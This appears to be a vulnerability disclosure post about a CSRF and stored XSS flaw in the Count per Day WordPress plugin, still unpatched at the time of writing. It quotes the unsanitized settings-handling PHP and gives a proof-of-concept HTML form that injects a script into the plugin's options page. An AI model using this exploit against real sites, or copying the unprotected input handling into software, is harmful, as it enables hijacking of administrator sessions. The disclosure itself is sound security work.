08 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Count per Day

Just a couple of days after we discussed a situation where a popular plugin had a vulnerability in it for years due to a security fix not being fully applied, we ran into another example of a security fix only being partially applied in a popular plugin. This time it involves the plugin Count per Day, which has 100,000+ active install according to wordpress.org.

As part of monitoring of changes to plugins to detect vulnerabilities being fixed and then add them to our data set, we saw that version 3.5.7 of the plugin appeared to have a security fix, the changelog entry for that version is “Bugfix: security fixes in notes, options”. In looking at the changes made in that version we could see that some user input values are now being sanitized using strip_tags(). In checking over things we found that that related to the plugin’s settings page.

The previous lack of sanitization on the plugin’s settings wouldn’t really a vulnerability if the saving of the plugin’s settings was properly restricted to Administrators, since those users have the unfiltered_html capability (it could be classified as a bug though). What we found though was that it wasn’t properly restricted as it lacked protection against cross-site request forgery (CSRF), which is a vulnerability that causes a user to take an action they didn’t intend. What we also found was that there additional plugin’s settings that lack necessary sanitization.

In looking at the underlying code in the file /counter-options.php you can see the lack of a check for a valid nonce, which is used to protect against CSRF, and the lack of sanitization on some inputs:

11
12
13
14
15
16
17
18
19
20
21
22
23
if(!empty($_POST['do']))
{
	switch($_POST['do'])
	{
		// update options
		case 'cpd_update' :
			$_POST['cpd_bots'] = preg_replace('/\r\n\r\n/', '', strip_tags($_POST['cpd_bots']));
			$count_per_day->options['onlinetime'] = $_POST['cpd_onlinetime'];
			$count_per_day->options['user'] = empty( $_POST['cpd_user'] ) ? 0 : 1 ;
			$count_per_day->options['user_level'] = $_POST['cpd_user_level'];
			$count_per_day->options['autocount'] = empty( $_POST['cpd_autocount'] ) ? 0 : 1 ;
			$count_per_day->options['bots'] = $_POST['cpd_bots'];
			$count_per_day->options['posttypes'] = str_replace(' ', '', $_POST['cpd_posttypes']);

The lack of CSRF protection also impacts a number of other actions that are control by code below that in the file.

We notified the developer of the vulnerability a month ago. We have yet to hear back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php&tab=options, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=count-per-day/counter-options.php&tab=options" method="POST">
<input type="hidden" name="do" value="cpd_update" />
<input type="hidden" name="cpd_posttypes" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 5, 2017 – Developer notified.